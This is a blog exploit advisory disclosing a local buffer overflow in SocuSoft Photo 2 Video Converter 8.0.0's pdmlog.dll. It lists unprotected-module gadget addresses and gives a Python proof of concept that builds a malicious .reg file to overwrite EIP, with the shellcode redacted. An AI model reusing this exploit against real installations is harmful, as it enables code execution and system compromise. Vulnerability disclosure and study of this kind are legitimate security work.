ret2eax
((((λf.(λx.(fx)))(λy.y))(λz.z)))

<< home >>

0x03f: Local Buffer Overflow Condition within 'pdmlog' DLL Library - Exploit Advisory


	      _     _____            _____          _____          
	     | |   |  _  |          |____ |        |____ |         
	     | |__ | |/' |_ __ ___      / / ___ _ __   / /_      __
	     | '_ \|  /| | '_ ` _ \     \ \/ __| '__|  \ \ \ /\ / /
             | | | \ |_/ / | | | | |.___/ / (__| | .___/ /\ V  V / 
             |_| |_|\___/|_| |_| |_|\____/ \___|_| \____/  \_/\_/  
                                                      
                > _[C O N T A C T] :
				     Twitter: @ret2eax
				     Email:   ret2eax@riseup.net
				     Blog:    ret2eax.github.io
	
					     

      [+]-----------------------------------------------------------------[+]
       | Impacted Vendor:      SocuSoft Co.                                |
       | Vulnerable Software:  Photo 2 Video Converter Free & Pro Variants |
       | Software URL:         http://www.socusoft.com/                    |
       | Effected Release:     8.0.0                                       |
       | Vulnerability Type:   Local Buffer Overflow                       |
       | Impact:               Code Execution, Denial of Service           |
       | Date Released:        01/12/2017                                  |
       | Released by:          ret2eax                                     |
      [+]-----------------------------------------------------------------[+]
	   
=================================================================================

[+]----------------------------[ S U M M A R Y ]------------------------------[+]

 Socusoft's Photo 2 Video Converter v8.0.0 (Free and Professional variants) 
 contains a local buffer overflow condition in the pdmlog.dll library. 
 Exploitation can result in x86 register rewrites to control program execution 
 flow, therefore, resulting in ability to execute arbitrary shellcode leading 
 to complete system compromise.
 
[+]-------------------------[ D E S C R I P T I O N ]------------------------[+]

 One of many modules, the following contains no illegal address characters 
 i.e. '\0x00'.
	
  +-----------------------------------------------------------------+
  | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Module           |
  |-----------------------------------------------------------------|
  | False  | False   | False |  False   | False  | DVDPhotoData.dll | 
  +-----------------------------------------------------------------+
	
  The following PUSH ESP, RETN instruction sequence addresses are suitable to 
  redirect program execution:
	
  >_[MODULE: DVDPhotoData.dll]:

	0x10002352 push esp; ret
	0x10013945 push esp; retn 0x0004
	0x1004cb83 push esp; retn 0x0008
	0x1004cbb8 push esp; retn 0x0008
	0x1004cc11 push esp; retn 0x0008
		
	 
[+]-----------------------[ P R E C O N D I T I O N S ]---------------------[+]
 
 1. Tested on Windows Server 2008 R2
 2. Import generated .reg prior to restarting the executable within a debugger
 3. Overflow condition observed to occur in pdmlog DLL library.
 
 
[+]------------------------[ E X P L O I T A T I O N ]----------------------[+]

 A Proof of Concept is as follows:
 
 >_[Python Script - SHELLCODE REDACTED]:
 
	#!/usr/bin/python
	
	# REGISTERS
	
	# EAX 42424242
	# ECX 0002BF3B pdmlog.<ModuleEntryPoint>
	# EDX 00020000 pdmlog.00020000
	# EBX 00020000 pdmlog.00020000
	# ESP 035BFB90
	# EBP 035BFBAC
	# ESI 00000002
	# EDI 00000000
	# EIP 42424242

	# EAX 10013945 DVDPhoto.10013945
	# ECX 0002BF3B pdmlog.<ModuleEntryPoint>
	# EDX 00020000 pdmlog.00020000
	# EBX 00020000 pdmlog.00020000
	# ESP 03A0FB90
	# EBP 03A0FBAC
	# ESI 00000002
	# EDI 00000000
	# EIP 10013945 DVDPhoto.10013945 <- EIP Overwrite '\x45\x39\x01\x10' 

	# outfile
	file = "proof-of-concept.reg"
 
	# register re-write
	padding = "\x41" * 548
	eipOffset = "\x45\x39\x01\x10" 	# PUSH ESP (0x10013945)
	stackRewrite = "\x43" * 400 	# Shellcode Space
 
	# generate exploit file containing above payload instructing EIP overwrite

	poc = "Windows Registry Editor Version 5.00\n\n"
	poc = poc + "[HKEY_CURRENT_USER\Software\Socusoft Photo to Video Converter Free Version\General]\n"
	poc = poc + "\"TempFolder\"=\"" + padding + eipOffset + stackRewrite + "\""
 
	try:
		print "[*] Generating exploit contents...\n";
		print "[*] Creating payload file...\n";
		writeFile = open (file, "w")
		writeFile.write( poc )
		writeFile.close()
		print "[*] Success!";
	except:
		print "[!] ERROR!";

	#EOF